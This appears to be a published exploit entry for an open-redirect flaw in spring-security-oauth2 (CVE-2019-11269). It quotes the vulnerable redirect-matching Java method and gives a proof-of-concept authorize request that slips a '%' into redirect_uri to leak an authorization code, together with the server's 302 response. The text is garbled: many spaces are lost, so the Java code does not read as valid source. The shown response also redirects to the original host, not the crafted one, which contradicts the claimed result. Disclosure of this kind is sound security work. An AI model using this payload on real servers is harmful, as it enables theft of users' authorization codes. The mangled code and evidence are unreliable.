# ExploitTitle:OpenRedirector in spring-security-oauth2
# Date:17June2019
# ExploitAuthor:Riemann
# VendorHomepage: https://spring.io/projects/spring-security-oauth
# SoftwareLink: https://spring.io
# Version:SpringSecurityOAuth versions 2.3 prior to2.3.6-org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE
# Tested on:UBUNTU16.04LTS-org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE
# CVE:CVE-2019-11269|CVE-2019-3778
# DescriptionSpringSecurityOAuth versions 2.3 prior to2.3.6,2.2 prior to2.2.5,2.1 prior to2.1.5, and 2.0 prior to2.0.18, as well as older unsupported versions could be susceptible toanopenredirector attack that can leak an authorization code. A malicious user or attacker can craft a request tothe authorization endpoint using the authorization code grant type, and specify a manipulated redirection URI via the redirect_uri parameter. This can cause the authorization server toredirect the resource owner user-agent toaURI under the control of the attacker withthe leaked authorization code.
#VULNERABILITY:By manipulating the REDIRECT_URI parameter, an attacker can actually bypass the validation.
The code causing the vulnerability is found under the packageorg.springframework.security.oauth2.provider.endpointTheClass:DefaultRedirectResolver, which method obtainMatchingRedirect does not proper sanitation
/**
* Attempt to match one of the registered URIs to the that of the requested one.
*
* @param redirectUris the set of the registered URIs to try and find a match. This cannot be null or empty.
* @param requestedRedirect the URI used as part of the request
* @return the matching URI
* @throws RedirectMismatchException if no match was found
*/privateStringobtainMatchingRedirect(Set<String> redirectUris,String requestedRedirect){Assert.notEmpty(redirectUris,"Redirect URIs cannot be empty");if(redirectUris.size()==1&& requestedRedirect ==null){return redirectUris.iterator().next();}for(String redirectUri : redirectUris){if(requestedRedirect !=null&&redirectMatches(requestedRedirect, redirectUri)){return requestedRedirect;}}thrownewRedirectMismatchException("Invalid redirect: "+ requestedRedirect
+" does not match one of the registered values: "+ redirectUris.toString());}
#POCATTACKVECTORThe following request done by the CLIENTAPP after the user has logged in, containsthe REDIRECT_URIparameter. The validation is bypassed by simply adding a percentage sign which triggers a redirect instead of the RedirectMismatchException error
TheORIGINALREQUEST containing a valid URI:GET/auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/HTTP/1.1The attacker then tricks the application by changing entirely the URItoanother server adding a percentage for example:GET/auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/HTTP/1.1Host: localhost:8085User-Agent:Mozilla/5.0(X11;Ubuntu;Linux x86_64; rv:67.0)Gecko/20100101Firefox/67.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8085/auth/login
Connection: close
Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63
Upgrade-Insecure-Requests: 1
The RESPONSE indeed does not produce an expected OAUTH errorbut redirects the user :
HTTP/1.1 302
Cache-Control: no-store
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D
Content-Language: en-US
Content-Length: 0
Date: Mon, 17 Jun 2019 11:06:18 GMT
Connection: close